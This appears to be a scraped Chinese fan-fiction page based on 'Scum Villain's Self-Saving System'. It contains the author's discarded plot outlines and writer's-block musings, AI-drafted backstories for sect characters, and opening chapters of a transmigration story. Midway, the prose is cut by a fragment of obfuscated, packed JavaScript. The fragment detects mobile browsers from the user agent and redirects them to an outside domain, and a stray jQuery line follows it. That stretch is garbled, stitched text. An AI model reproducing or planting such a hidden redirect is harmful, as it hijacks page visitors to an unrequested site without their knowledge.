为了情节更冲突有趣,柳清歌制止了沈清秋热血上头,并与沈清秋打架,压制沈清秋想挑事的心。 (这个绝对ooc了,但是没办法,柳清歌再直率不动脑子,也不可能放任这种小事将苍穹山拉进去。那就是直接开战争主线了) —— 尚清华本是负责打杂的,不怎么出场。但柳清歌与沈清秋对打闹事,肯定是要调和的。而且,他是早就习惯修真界的人。 故而,真正生长于现代的灵魂,因长久的生活而习惯修真界,不再思考平等。被塞入一段现代记忆的沈清秋,却为了心中的公平,热血上头,去对抗不公。 —— 这个故事的结局,是沈清秋伪装后站出来,但修雅剑和行为处事实在难以遮掩。故而,最后还是“暴露了身份”。 引来岳清源。 岳清源善后完,将沈清秋押入清静峰,不允许他下山。 —— 这就是写不下去的原因(哭) 第一。ooc严重,剧情还能自圆,人设性情难搞。需要花大功夫去描写细节。 第二。这几个人身份太高了,一个不小心就是正道第一大派挑事,直接开启大战剧本,后面写个鬼啊。 第三。黑化岳清源直接走软禁戏码了,这是要直接开互打互杀啊。愣是把七九改冰九(Ohz) 第四。这样写,需要详细设定皇室与修真门派的恩怨情仇,还涉及宫斗、朝堂、修真门派的龌龊。是一个非常复杂且庞大的设定和故事。 综合考虑之下,还是砍了吧。 将沈清秋的故事剔出来,集合为另一个与少年沈九很像的热血散修萧九。 而主角团,充当给予灵宝、帮助的“贵人”。 (一把大刀,嘤嘤嘤) ———— 有机会补细节(如果回头写作能力提升的话) ——正文—— 主角团做些伪装,假采买东西,实际上打探消息,探寻有没有“其他进入秘境的方法”。 这时候,遇见了某个浪荡子;先是买东西,发现对方“飞扬跋扈”;后面又遇见,比如沈清秋自己跑青楼,又对上了;接着打赌也好,骂架也好,或者妹子调和也好;反正两人“坐下谈话”了;得知历史,并且呢,还知道了另一件事: 那个秘境,本就是,吸引“苍穹山入局”的,引子。 —— 沈清秋:哦?愿闻其详 萧逸:苍穹山位数第一大派太久了,我们求助的那个门派,是xx门派下属,但又与魔族,有那么一丝联系。 魔族许诺,将来打起架来,一定会给出足够的利益。 于是双方一拍即合,用弟子作引,看能钓来谁 沈清秋:那现在情况如何? 萧逸:暂且不知,苍穹山并未出动人手,还没接招。 只是xx门派已做好万全准备,势必要趁此举改变苍穹山的垄断地位。 ———— 中间的权谋与算计。 ———— 等沈清秋将人带出来,兴高采烈的回来时,却发现一切如初,就像是之前的事情从来没发生过一样。 甚至坐在高位上的皇帝面色比之前看起来要更威严、年轻些 皇帝轻而易举将他们打发走 沈清秋夜半打算出门,被柳清歌拦下 柳清歌:沈清秋,你不是小孩子了,匹夫无罪,怀璧有罪你不懂? 当你看不见“他”上位,就该知道,“他”已经败了。难道你要为了萍水相逢的一个凡人,去对抗第二大派? 沈清秋:我原以为你是武痴,却怎的如此爱惜羽毛! 柳清歌:你心智退化,竟连世事都看不明白?有些事情,本就没有黑白! 然后两人再次决裂 —— 就是前期一定要突出主角的那个热血冲动,打抱不平以及活泼开朗 柳清歌是武痴,但他能看懂形势,能看懂是非和未来能权衡权势 他可以站出来 但是绝对不会为了一个人去跟几个宗门进行比较。他痴,但不蠢。更不会为此开战,引发动乱。 —— 最后掌门人岳清源站出来镇压一切,抹除小门派,震慑敢算计苍穹山的xx门派。 岳清源:不过是个小门派,什么阿猫阿狗也敢与苍穹山叫板? 沈清秋:所以单人的力量根本没用,还是要以暴制暴,以更大的权势压下? 岳清源:小九,你…… 沈清秋(暴躁、黑化):连累岳大掌门为我收尾,真是辛苦了 岳清源:小九,别这样 沈清秋:这个世界真是烂透了 岳清源:听话,我带你回家。之后不要跑出来玩了。 ———— 这个故事最大的冲突就在于,需要一个大局观之人:点到为止、到此为止吧 沈清秋:不行,必须要追查到底 ———— 这一个人选,要么是柳清歌,要么是尚清华 柳清歌:虽然武痴,但知道有些事情不能调查 尚清华:大哥!穿越同仁大哥,我们要遵循每个社会的风俗!你是不是在现代没经历过毒打啊! 真正的穿越者,放弃现代学会的平等;给了一段现代记忆的原装沈清秋,却将“平等”记在了心里。矛盾更激烈,更冲突。 最后,岳清源出来压制一切,将心理失衡的沈清秋带回去。 ———— 真正发生的事情: 柳沈尚三人组,将之前设定的王朝搅了个天翻地覆 然后临走之前,帮萧逸修炼,并赠予法宝和灵物,最后定下约定:希望我们出来,你能让我们看到全新的时代 结果,那个王子失败了,金丹被修真门派取走,剩下的血液给皇室其他人延长寿命 大家都很满意。 直到,主角团出现。找不到萧逸。 尚清华:我们任务已经完成,就回去吧? 柳清歌:你想去找王子?那你可知,事实结局已定,王子说不定早魂飞魄散了 沈清秋:他与我们约定,会赢的(这时候就要展现主角的另一个特性:守信。要不然咋为了岳七的失约,记一辈子呢) 需要一个恶人出面: 其他人和苍穹山都在等着我们回去,为了个凡人,不值得 沈清秋:他既然说了,一定会做到的。我要去找(年少沈九重合) 柳清歌有可能会同意,并且一起跟着。 也有可能会不同意,执意带沈清秋回苍穹山 同意版: 柳清歌:你自皇宫回来就心神不宁,参与凡人因果,会耽误自己的道。 沈清秋:他是那么鲜活的一个人,他说过会赢的 柳清歌:生死有命 沈清秋:你若是要阻我,那就打 柳清歌:算了算了,总不能让你死外边 不同意版: 柳清歌:你要为了一个凡人,将当地的修真门派除去? 沈清秋:若他们有罪,就要有惩罚 柳清歌:你以什么立场 沈清秋:你不想让苍穹山与xx派对上? ———— 于是最后的结局是: 萧逸失败, 沈清秋要为那个人举剑对皇室、当地修真门派
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377395|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苍穹所属出来阻拦: 你是苍穹山峰主之一,确定要代表苍穹派宣战?仅仅是为了一个凡人? 沈清秋拼着辞职,也要“讨公道”。最后一个人或者加个柳清歌,打上门。 被围攻,当成闹事的。 认出身份后,开始质疑苍穹山是不是想引起修真界战争。 事件升级,岳清源出现,镇压全场。 ———— 关于柳清歌人设这件事。 很难说有没有ooc。 柳清歌很正直,不理解小人作派或者勾心斗角的种种。执着,会为弱小拔剑。 但是他也不傻,他不可能放任少年心性的沈清秋,代表苍穹山,与其他修真门派结仇 柳清歌是武痴,但不是白痴 如果沈清秋只代表自己,那无所谓 可是沈清秋是峰主 为了一个凡人,代表苍穹山宣战 柳清歌肯定不能接受 最大的原因和bug就在于—— 几个人身份,太高了。 ———————————————————— —————————————————————— 碎碎念:柳九好像很有趣的样子 这个卡了很多次。 一开始是不会写秘境,后面是不会开权谋,写不出来群像…… 更有甚者,为了‘逃避’秘境和权谋,写了快5w字的冰九杂文(笑死果然,当我不想写英语的时候,我的数学题可以突飞猛进) 冰九磕起来是很香的,甚至这篇一开始也是冰九文。 后面受朋友影响,觉得黑化七九好香。默默切大纲转七九。 但是七九太难写了,直接写过往,九会‘压根不关注’;写现在,七又不拽着九认真表态。 甚至说,我这段时间写冰九,关于【岳清源明知沈清秋想要解释,却只会不痛不痒的给关心和补偿】这一点简直是黑到无法拯救。 冰九对七九: “岳掌门好算计,捏着师尊的信任却丢弃,想要他的重视却不解释,用愧疚化作绳索捆住他,却又给他几丝你总会点明苦衷的希冀。” 七九对冰九: “你便是这样对你师尊,令他抛弃一切体面与名声。用他在乎的一切威胁他,设下以‘爱’为名的枷锁令他折断羽翼?” emmmm 这样想想—— 丫的,更激动更好磕了! 如果期间参杂个柳九: “沈清秋,你不愿的事情就不干,修真界实力为尊,大不了跟我将所有地方都打一遍,看谁敢说你闲话,令你不爽。” 哇哦…… 爽。 想想就觉得有趣极了。 ———————————————— —————————————————— 捋一下<伪传书>目前的局面 这篇坑很久了,昨天实在忍无可忍,将这篇顺了一下。打算拼着烂尾也要将他给写完。 【出现的主要人物】 苍穹山: 柳清歌、百战峰峰主,出来找其妹柳溟烟, 沈清秋、清静峰峰主,出来找弟子明帆。 天兰派: 白长林、天兰派掌门, 白娇娇、天兰派唯一的小公主, 白振风、小公主的青梅竹马,原本当成太子爷培养的。 幻花宫: 墨子棋、幻花宫推出来坑苍穹山的棋子。 ———————— 【前因后果】 幻花宫掌握一种秘术,可以将修士的血液与修为抽出来,凝结成结晶,其效果比极品灵石还强。 天兰派掌握某个迷境,其中存在一种蝴蝶,被幻花宫偷摸修改为可吸食仙士灵力的‘害虫’。墨子棋替其他人解决了这件事,并且在地上搜集到‘蓝色晶石’,发现这个东西类似于灵石,却比灵石要更加纯净,还可以提升血脉资质。 天兰派有部分人心动,但有一些不同意。墨子棋入了天兰派唯一的小公主(白娇娇)的眼,天兰派开始大肆搜集凡人与低等散修。 为小公主准备的‘童养夫’白振风不同意用他人滋养自己,却无能为力。自动交出部分权利,换取‘养子’的身份,舍尾求生。 故,天兰派分别有四个重要人物: 掌门/东家——白长林。 公主/小姐——白娇娇。 养子/少主——白振风。 公子——墨子棋。 ———— 幻花宫给墨子棋下指令,要求他坑一波苍穹山弟子,务必要苍穹山今年断了年轻一代,青黄不接。 蝴蝶本只能吸收其他灵力,在墨子棋的‘改造’下,被收入茧内的人得以存活,并深陷迷梦中——这种手段,唯有以幻术出名的幻花宫才有。故而,大家都知道墨子棋背靠大山,不能以普通‘驸马爷’而论。 墨子棋胆大妄为,将密境的存在暴露给苍穹外门弟子,并将蓝色结晶的存在透露出去——苍穹山理所应当的,派遣内门弟子,入密境、寻机缘。 苍穹弟子死伤参半,岳掌门派柳清歌(柳溟烟之兄)、沈清秋(明帆师尊)、尚清华(调和剂)出面,寻原因、带人回来。 ———— 沈与柳决裂,沈独自探索、掉入蝴蝶中,意外得知‘公子、少主、小姐、东家’的存在,正巧碰上柳与尚对打天兰派,两人被捉。 沈将柳救出来,再次分开。 沈遇见少主白振风,听到了一个故事。那个故事里,白振风是个被抛弃、无奈退步以求存活的可怜人。 —————————— 【个人立场及苦衷】 白长林:欲将天兰派发扬光大,想通过这件事博一把,一举入幻花宫的眼;为女儿的未来地位听信于墨子棋,压下一切反对的声音。 白娇娇:年少失母,被宠得天真烂漫,爱之欲其生,喜欢就要付出一切。 白振风:原本可以赢取娇妻、掌握门派,却被不知从哪里冒出来的‘大派弟子’抢走了风头,只能靠痴傻愚忠伪装,心中依旧想更进一步, 墨子棋:幻花宫给了一根胡萝卜,虽然不一定能吃到,但他可以‘借势幻花宫’,在天兰派潇洒自由。而且万一成功,他也可以入幻花宫内门,更进一步。 沈清秋:人要救,故事要听,热闹要看。但亲身下场,并不考虑。(推波助澜、隔岸观火) 柳清歌:我就是出来找妹子的,其他有事就打、没事就修炼。 ———————————————— ———————————————— 为什么写不下去呢。 我朋友一语中的: 沈清秋并没有参与核心事件,而且以他的人设来说是不会下场的。 如果只按照‘沈清秋’视角来说,是没办法写的深入的。 要么,给沈清秋加活,让他干事。 要么,转视角,写白振风与墨子棋的对手戏。 哎。纠结。 ———————————————— ———————————————— 白振风的孤儿背景如何影响他的野心,或者白长林作为掌门的权力斗争策略 白娇娇从依赖白振风到转向墨子棋的心理转变,或者白长林如何平衡亲情与权力欲望。 【ai帮忙编写的个人立场】 白振风 核心立场: 野心家与生存主义者的矛盾体。表面是“忠诚憨厚的驸马”,实则是被权力异化的“赌徒”。 深层动机: 孤儿烙印:幼年颠沛流离的经历让他对“身份”极度执念。被赐姓“白”时,表面感激涕零,内心却视为耻辱(“施舍的姓氏”)。 权力饥渴:对天兰派的掌控欲源于对“失控人生”的恐惧。他看似谋权,实则是用权力填补内心的“不配得感”。 情感工具化:对白娇娇的“爱慕”本质是慕强投射——他渴望成为“白家血脉”,甚至嫉妒她的天生尊贵。 新增细节: 隐秘习惯:私下收集白家丢弃的旧物(如白娇娇儿时的玩具、白长林用坏的兵器),以此制造“我与白家血脉相连”的幻觉。 致命弱点:极度厌恶“棋子”身份,却始终无法摆脱被摆布的命运(白长林利用他牵制门派长老,墨子棋出现后又被当作弃子)。 暗线布局:早与门派外的黑市商人勾结,私下囤积武器和毒药,甚至培养死士,但始终不敢真正动手——他享受的是“随时能掀桌”的控制感,而非鱼死网破的结局。 白娇娇 核心立场: 被权力豢养的“金丝雀”,天真与残忍并存。她的爱恨无关个人,而是对“被支配命运”的反抗。 深层动机: 身份困惑:作为掌门独女,她从小被灌输“你的婚姻是门派筹码”,对白振风的倾心本质是反叛(“选一个出身最低的,看你们能奈我何”)。 慕强本能:爱上墨子棋并非因其人格魅力,而是因为他无视门派规则的自由姿态(“他敢对父亲说‘不’,而我永远不能”)。 权力真空:她从未真正接触门派事务,对白振风的依赖实则是恐惧父亲老去后的“权力黑洞”,而墨子棋的出现让她找到了新的“盾牌”。 新增细节: 隐秘技能:精通药理却伪装成草包,曾在白振风的茶中下慢性毒药(剂量微小到无人察觉),只为测试他是否真如表面忠诚。 情感操纵:对白振风若即若离的态度是刻意为之——她需要他保持“渴望被认可”的焦虑感,以此确保控制力。 终极恐惧:害怕自己成为“第二个白振风”(被利用后抛弃),因此对墨子棋的疏离姿态反而产生病态迷恋。 白长林 核心立场: 权力生态中的“驯兽师”,擅长用情感绑架维持统治,却低估了人性的反噬。 深层动机: 传承焦虑:无男性子嗣的门派传统让他必须制造“可控的继承人”,选白振风是因他无根基,却没想到养虎为患。 帝王心术:默许白娇娇与白振风的婚姻,实则是为转移长老会对“继承人空缺”的逼迫,同时将驸马推向权力前线当靶子。 父爱真相:对女儿的宠溺是表演,他早已暗中安排心腹监视,连白娇娇与墨子棋的“偶遇”都是他设计的局(为了测试白振风的忠诚度)。 新增细节: 身体隐喻:患有心绞痛却隐瞒病情,发病时会将丹药捏碎洒在盆栽中(暗示“生命如草木,需定期修剪”的冷酷)。 权力仪式:每夜独自擦拭初代掌门的令牌,对着虚空自言自语,仿佛在向历代掌门证明自己“未曾辱没白家”。 终极布局:早已立下密诏,若自己暴毙,则启动“清剿计划”——包括毒杀白振风、软禁白娇娇,甚至不惜毁掉半个门派也要保住白家正统。 墨子棋 核心立场: “规则破坏者”与“权力局外人”,他的存在本身就是对天兰派秩序的嘲讽。 深层动机: 身世之谜:实为白长林早年私生子,被遗弃后由江湖游侠收养,接近白娇娇是为复仇(“我要让白家人爱上仇人之子”)。 双重游戏:表面与白娇娇谈情,暗中勾结门派叛徒,计划在颠覆天兰派后将其改造为江湖黑市枢纽。 情感异化:对白娇娇的利用中掺杂了扭曲的嫉妒(“她本该是我的妹妹,却成了白家最完美的傀儡”)。 新增细节: 象征物:总佩戴一枚残缺玉佩(与白娇娇的玉佩本是一对),每次抚摸玉佩都会眼神阴鸷,暗示血缘真相即将揭晓。 武功秘密:招式刻意模仿白家绝学却更暴戾,仿佛在挑衅“正统”。 心理缺陷:厌恶白振风并非因情敌身份,而是从他身上看到“另一个可能的自己”(若当年未被抛弃,或许也会成为权力的奴隶)。 关系网中的致命矛盾 白振风 vs 白长林: 表面是翁婿,实则是“权力寄生关系”。白长林需要他当白家的挡箭牌,而白振风则觊觎他手中的正统性。 转折点:白长林发现白振风私藏死士名册后,故意泄露假情报引他入局,想借门派公审之名除掉他,却意外暴露了自己的病情。 白娇娇 vs 墨子棋: 爱情背后是“控制与反控制”的博弈。白娇娇试图用婚姻捆绑墨子棋,而墨子棋则用若即若离的态度逼她背叛家族。 关键细节:白娇娇为证明真心,曾将门派布防图偷给墨子棋,后者转手卖给敌对势力——这份布防图实为白长林故意伪造的陷阱。 白振风 vs 墨子棋: 本质是“镜像对决”。一个用卑微伪装野心,一个用自由掩盖仇恨,都企图撕碎对方的面具。 高潮伏笔:二人在悬崖对峙时,墨子棋冷笑:“你以为驸马是跃龙门?不过是白家养的鲤鱼,迟早要下锅炖汤。”白振风则反手刺向他胸前的玉佩:“你这野种,连上桌的资格都没有!” 白振风对身份的执念与自我厌恶、白娇娇天真背后的控制欲。简单的权力斗争升级为充满宿命感的悲剧——所有人都是棋手,却也被更大的局吞噬。 白振风与墨子棋的权力斗争,沈清秋的中立态度,柳清歌的直率行动 伪传书> 61.失去记忆九来到苍穹山,哪哪都不舒服 第一章这个大饼绝对没人能拒绝 ooc预警:画大饼系统+伪穿书沈九 ———— “既不能为我所用,那便永留于此吧。” 深沉的黑暗犹如沾了水的棉花,鼻翼中满是潮湿的腐臭与喘不过气的压抑。 灵魂被拉扯塞入的虚无感与遍体鳞伤的躯体疼痛感交织,令人精神恍惚。 “嘶——”看不清具体情况的肉团发出一声不甚清晰的呼喊,声音断促,音量低到连黑暗都无法传出。 —— “宿主您好,‘人渣反派自救系统’竭诚为您服务。” 机械音突然从黑暗中传来,如同朝阳般刺穿乌云,黑暗像是流水般四溢开来。 “系统?” 沈清秋看着完好如初的身躯,周遭明亮开朗的环境,一时有些怔愣。 方才,他是死了,进入阴曹地府不成?只是,那种阴冷孤寂的氛围,却如同鲋骨之毒一般,令人周身发冷。 “宿主您好,想必经过刚才的‘沉浸式体验’,您对结局有了一定程度的了解?” “结局?” “是的宿主,如果您不能改变结局,那之前您体验的,就会成为现实呦~” “......” 沈清秋是一名大四学生,正处于找工作和撰写论文的时期。众所周知,如果要写一篇论文,那必是要‘集思广益’、‘搜罗数据’才行。 故而,沈清秋看了很多的...网络小说。 就算是导师的催促犹在耳边,偷懒摸鱼的心也是不可能改变的! 所以。他,穿书了? “剧情呢?”沈清秋很快认清现实,并且开始讨要金手指:“我的外挂是什么?” “宿主果然很敬业。”系统夸赞了一下沈清秋的效率,开始描述主线剧情: “原主沈清秋,是主角成长路上的反派师尊。对主角的修炼不管不问不说,还喜好风流,风评极差。平日里对主角非打即骂,仇恨值拉满。最后被主角打败,连累灭门。” “......” 果然是一个俗套又无聊的故事。 沈清秋艰难的扯了扯嘴角:“比如王麻子的第一个师尊?想要水葫芦的那个?” “嗯...”系统看着很快开始分析情况的沈清秋,不仅感叹经历过现代洗礼的人就是好:“对。” “哦。”有了类比,情况就一目了然了。 原主沈清秋,大概是看上了主角的某个宝物,张口讨要不成,暗恨于心,故而折腾主角。但主角的机缘怎么可能‘让与别人’呢,所以自然是原主惨死结尾。 “所以只要不惦记主角机缘,或者干脆将主角丢给别人,就没问题了吧?” “嗯...理论上是这样。”系统虽满意沈清秋进入角色很快,但对于对方‘想将主角推出去’的行径,是非常不满意的:“但是原主与主角的渊源纠缠很深,是必须要将主角收入身边的。” “为何?”身为一个即将步入职场的打工人,沈清秋敏锐嗅到其中的不同——如果必须与主角这个‘烫手山芋’接触,他将以什么样的态度去对待主角? “因为,”系统的音调开始沉重,即便是机械音,也让人听着便‘心惊胆战’:“主角遇人不淑、驯养不良,就会灭世。” “……” 这是什么狗屁可怕玩意。 沈清秋为自己声明:“我不是好人。而且我教师资格证没考下来。” 所以为啥觉得他能养好? “宿主啊,”系统开始循循善诱:“您也知道,主角都是属小强的,一刀杀之是肯定不行的。第一,他死不了的。第二,你要是养好了,他能为你征战天下。第三,他若是逃亡或受委屈了,就会巅覆修真界。” “得之全是好处,忽略说不定莫名其妙被连累。” “你既然知道这个人的存在,能忍住不去杀他?能安心任隐患于看不见的地方发酵?” 沈清秋:…… 这该死的责任心啊。 所以。不能杀,也杀不死。让他受委屈还会灭世。 最后还只能放眼皮子底下看着,好吃好喝养着捧着。 难搞不说,还一听就是麻烦事。 沈清秋打算摆烂。 反正他就是一个没毕业的大学生,摆烂怎么了?谁还能指望一个清纯大学生撑场子不成? “我不会啊。我不行啊。我教资都没过啊。” 沈清秋耸肩摊手—— 只要我什么都不会,什么都不做,错误就不可能跑到我身上。 毕竟,谁能说没做事的人有错呢? “宿主!”系统开始像所有领导一样指责和画饼: “身为红旗下生长的富强民主文明和谐、自由平等公正法治、爱国敬业诚信友善的新青年,你怎么可以这么不负责任呢?” “你有房吗?有车吗?有编制吗?身家百万吗?什么都没有怎么能躺平呢?” “只要你搞定了主角,你就能在这个世界所向睥睨,身居第一大派,驱使走路都能捡宝的主角为你当牛做马,这不妥妥的人生巅峰?!” “……” 听起来是有点扎心,还有点诱人,但不多。 毕竟。他只是一个没毕业的大学生,还没有受到房租、工资、电费、话费、医疗费、女朋友的压迫。 系统看见有戏,开始加码: “你看啊,你在现代,只是一个普普通通大学生,要啥没啥。可是你在这里不一样啊,你是正道第一大派的掌权人之一,妥妥的大股东。就算在人人皆貌美的修真界里,也清俊出尘的别具一格,武力值更是拿出去能横压一片。” 嗯,这个对没出校门的大学生没用。 不过,系统拿出对所有男性都贼具诱惑的条件来: “最重要的是,你能在这个世界实现御剑飞行!” “你懂吗?!是御剑飞天,不是你踩着雪橇去滑雪耍酷!” !!! 御剑、飞天,哪一个不是国人的梦?! 沈清秋的眼睛亮了——这个没有人不感兴趣! “而且你的地位高不说,极为护短的掌门是与你一同长大的兄弟。自身实力能排进宗门前三,门下还有个任劳任怨、行事极为妥当的大弟子替你解决一切杂事。” “你的住处还有整座山的竹子!整个后山都是!远比你随手捡跟竹竿就乐的耍来耍去快乐多了!” “这是一个随便打架,打赢也不需要蹲橘子的世界!” !!! 很好,这很热血,很令人向往! 修仙! 御剑! 惩恶扬善、肆意打架的剑修! 而且自身实力强的一批、地位也贼高,大小杂事有人打理—— 这谁能拒绝!!! 刨去不长眼的主角,这就是人生巅峰! 看着明显心动的沈清秋,系统抛出最后的筹码: “最重要的是,如果你玩的不开心,我还会带你回现代!” !!! “我嘞个去!玩的好留下,玩不好回来?” 这和玩全息网游有什么区别?! 进可成就修真版养老生活,退可回现代享受大学时光,为什么不呢??? “走吧。” 沈清秋已经开始筹划未来生活并且跃跃欲试了! 第二章游戏世界,自然随意潇洒 ooc预警:嘴碎系统+伪穿书沈九+小可怜洛冰河 ———— “宿主快上啊,你现在去拯救主角,他一定会将你视为人生救赎,快快快!这个开局可是我思索了好几遍的,现在出手,任务难度直降啊!” 一堆衣着还算完好的孩童在群殴某个衣衫褴褛的小可怜,被压在最下方那个,除了将身躯紧紧团在一起、抱着头挨揍外,什么动作也没有。 这是一个标准的混混打架,还是贫民团体的那种。 打人者不知轻重,没有招式,几人同时出手时还会打到‘自己人’。 可他们打的很开心,一个个笑得张扬,嘴里骂着‘打死他’‘刮花他的脸’‘敢来这边抢饭吃’ 随着时间的流逝,几个打人者打累了,开始休息。 系统看着斜靠在墙边看戏的沈清秋有些焦急,忍不住的催促:“你为什么不上去?多好的刷好感度场景?” 一堆孩子在群殴某个凄惨小可怜,只要沈清秋上去将人打跑,必定能收获迷弟一枚,感激*n。 好感度只要刷上去,后续搞任何事情都好推进,结局直接就能被改写。 所以,沈清秋为什么不上去啊!!! 然而。沈清秋只是懒洋洋的反问道:“他自己打不赢吗?” 系统:“......” 啊喂,哪个普通人能跟你一样,从小就是打架,打不赢也要拼着老命咬对方一块肉啊! 男主都这么可怜了,你不觉得他需要安慰就算了,居然还嫌他菜? 系统决定循循善诱,让自己这个冷血的宿主知道标准员工该如何操作。故而,系统翻出SOP,一点点分析: “宿主啊,男主这时候刚失去庇护,正是你‘趁虚而入’的好时机啊,你可千万别浪费了我精心挑选的时机!” 沈清秋不为所动并且提出见解:“他好废。” 系统为自己打气:“宿主,身为一个善良友好的新青年,你不能这么嫌弃他!” 沈清秋垂下眼帘,翻看记忆:“我说的是事实。且不说我如何,原主的记忆里,他与人对打,都是一打十还能将对方揍得喊‘九哥我错了’的。” 系统:“......” 丫的,失误了。 就不该给他开‘查看原主记忆’这个权限的。 系统深吸一口气,告诉自己要体谅不懂为人处世的宿主,一点点引导他正确操作: “宿主,原主和你都不是普通人的做法。正常人应该是感觉主角很可怜,然后上去帮他打架,接着替主角擦去鲜血,微微一笑,接着带他脱离苦海才对。” “哦。”沈清秋不以为然,并且还和那些打人的‘乞丐们’对视了一眼。 这些乞丐和现代的街头混混差不多,都是没地住或者有家不能回之人。年纪小,无处收容又没地吃饭,除了乞讨,也只能打打零工、卖身为奴。苦命人罢了。 系统:“......” 好家伙,你是半点不心疼男主,反而与打人者共情是吧? 既如此—— “系统,为何我寻不到原主的记忆了?” 沈清秋又不傻,他之前还能翻看记忆,现在却如同被格式化一般,什么也找不到。除了系统搞事,还能是什么? “为了宿主更好的改变结局,系统将多余的记忆屏蔽掉了。” “呵。”沈清秋不开心了。 玩个游戏,不给攻略就算了,现在居然连新手引导的记忆都没有? 哼,那就别怪他了。 沈清秋直接席地而坐,对远处那个刚站起来的‘主角’勾勾手。 不就是‘改变结局’?他一‘遍览群书’的老书虫,对付这些脑子里只有修炼的修真者,还不是洒洒水? —— 鼻青脸肿、一瘸一拐的少年走过来。先是打量了一下随意坐在地上的青年,震惊于他的豪爽坐姿(现代人与古代的坐姿截然不同),接着被对方容颜所震慑:“仙人?” 沈清秋抬眼,看着满脸青涩,打不还手的‘主角’,心里冷笑一声,实在是无法将他与一开始听到的那句‘不为我所用,就长留于此’联系起来。 若说结局里的男主,是称霸天下后傲然于世,随手捏死敌人、囚禁俘虏的胜利者。 现在的男主,只是一个连乞丐都打不过,吃不好睡不好,无人在乎的小可怜罢了。 也是。 前期的小可怜与后期的龙傲天,自然是不同的。 沈清秋勾唇,略微探头前引,眼睛眨了一下:“好看吗?” 少年顶着零散的头发和还流着血的脸,尽可能的小幅度咽了咽口水,悄咪咪将衣服整理一下,脸上满是紧张和稚嫩,绞尽脑汁也只说出两个字:“好看。” “系统。”沈清秋毫无负担的与系统反馈:“诺,多简单。” 丝毫不觉得用美人计有什么不好。 系统:“......” 丫的,你就狂吧,现代的宽松环境真的很能培养单纯豪爽大学生啊。 系统看着性格大变的沈清秋,暗搓搓提醒:“你不觉得你基里基去的?” “嗯?有吗?”沈清秋看着随便就能被骗走的主角,体会不到一点挑战性:“这副本很简单嘛,你不懂现代人的审美。只要反派长得好,三观跟着五官跑。” “接着随便搞几段‘悲惨过往’进行洗白,自会有一群人说着‘心疼哥哥’~” “美强惨嘛。只要长得好看,什么都不重要。” 系统:“......” 该死的,明知道是歪理,怎么却越听越觉得正确? 只是看着对方悠闲慵懒的姿态,系统忍不住跟着反问:“那什么重要?” 它绝对不是被引导了,它只是好奇沈清秋为何能性格大变而已——只是添加了一段现代记忆,并且持续暗示‘他自现代而来’,对方竟真的以为现代才是来源? “重要的是——”沈清秋从袖口摸出一把折扇,悠闲的晃了几下: “主角搞定了。我可以体验快乐的游戏世界了。” 系统:“......” 好嘛,怪不得你能‘如此轻松又快意’,感情是当成游戏了啊。 游戏自然是能随便玩玩,完全无需负责的。 所以,这才是对方‘性情大变’的根本缘由? “你不知道,《刀剑神域》火的那几年,有多少人想要玩‘全息网游’。既然有机会进来,还是中国风版的修仙界,怎么能错过?这不比《天刀》《剑三》还快落?” 沈清秋懒散的站起来,将衣服整理一下:“小孩,我走咯。” !!! 男主角的神情简直像是被雷劈了:‘他竟然不带我走?’ 江湖传言,总会有行侠仗义之人,于为难之时救人于水火。 对方衣诀飘飘、面容飘渺如仙。看起来冷淡漠然,拒人于千里之外。 却主动喊他过来,对他展露笑颜。 若不是他有成道之姿,对方刻意寻他、欲收为弟子,带他入门,还能是什么?! 可现在,对方却告诉他,他要走,并且还不打算带他走?! 第三章玩游戏怎能不做任务呢 ooc预警:嘴碎系统+(伪)穿书沈九+小可怜洛冰河 ———— “你!” 捷径就在眼前,对方却摆明不想带他走。 为什么?凭什么? 这样的仙人,怎么可能会凭空出现在这等落寞小城? 又怎么会这么巧的与自己相见? 他必然是为了自己,一定是为了他而来! 既然如此,为什么不现在就带他走?! 难道说,是要考验于他? 看他是否会为了虚无缥缈的可能,付出某些代价? 只是,他有什么能‘作为交换’的? 少年张张嘴,面对绝对会影响一辈子的选择,陷入纠结。 只要能跟着仙人走,星光大道就在朝自己招手。 可,若是强行要求离开,得罪了仙人。别说对方绝对不会带他走,日后若是相见,说不定还会阻拦自己的修炼路! 他该怎么做? 立刻跪下拜师、求对方看他一眼? 还是傲娇冷哼、告知他自己会让他刮目相看? 机缘就在面前,错过将终身难忘! “嗯?” 仙人斜瞟他一眼。神色无悲无喜,像是偶然低头看向陷入泥土中的蚂蚁。明知道他的举动会改变对方的一生,却还是没有伸手。 少年脑子快速转动,最后理直气壮的伸出手:“交钱!” 他奶凶奶凶的威胁:“你看了那么久,要交十枚铜钱才行!” 沈清秋自觉已经‘攻略成功’,自是一点也不配合:“不给。” “你——”少年牙咬的‘嘎吱’响。 他当然知道对方绝对不会给钱,只是提出要个零碎充当‘信物’而已:“看你长得好看,怎的却如此小气!你这衣服配饰随便一个,都顶平常人家几年饭钱了!” 只要拿到‘信物’,他不信会找不到他! 只要他们再次遇见,凭借信物,他比任何人都有资格成为他的弟子! 既然他现在不想收他,等他来到他的面前,总该收下他了吧? “那又如何?” 沈清秋已完成支系任务,非常期待自己的‘退休’生活,只想立刻赶回苍穹山,见识一整座山的竹林。御剑修仙与竹林,绝对是国人刻在骨子里的浪漫! “喂!”少年看着毫不留念就要离开的人,不甘心的抓住对方的衣袖:“你真不带我走?” 他都专程来找他了,却不带他走? 莫不是,嫌他心不诚? 少年当即就跪下,大声喊道:“师尊在上,弟子洛冰河参见师尊!” 可惜,他没有等来对方的掺扶,也没有任何的应声。 待少年抬头看去,面前空无一人。 少年愤怒的起身,一脚踹向旁边的墙壁,却被墙壁的硬度所伤:“诶呦!” 少年如同沈清秋之前一般,毫无形象的坐在地上,看着仙人离去的方位,嘴里念叨着:“你等着,能御剑必然是仙门,我一定会找到你,让你收下我的。” ———— “芜湖~” 沈清秋右手掐诀,左手呈放飞自我状来回挥舞,身体忽而压低、忽而猛升,时不时弹跳起来尝试让仙剑‘翻个面’。愣是将中规中矩的飞剑,玩出越野滑板的架势。 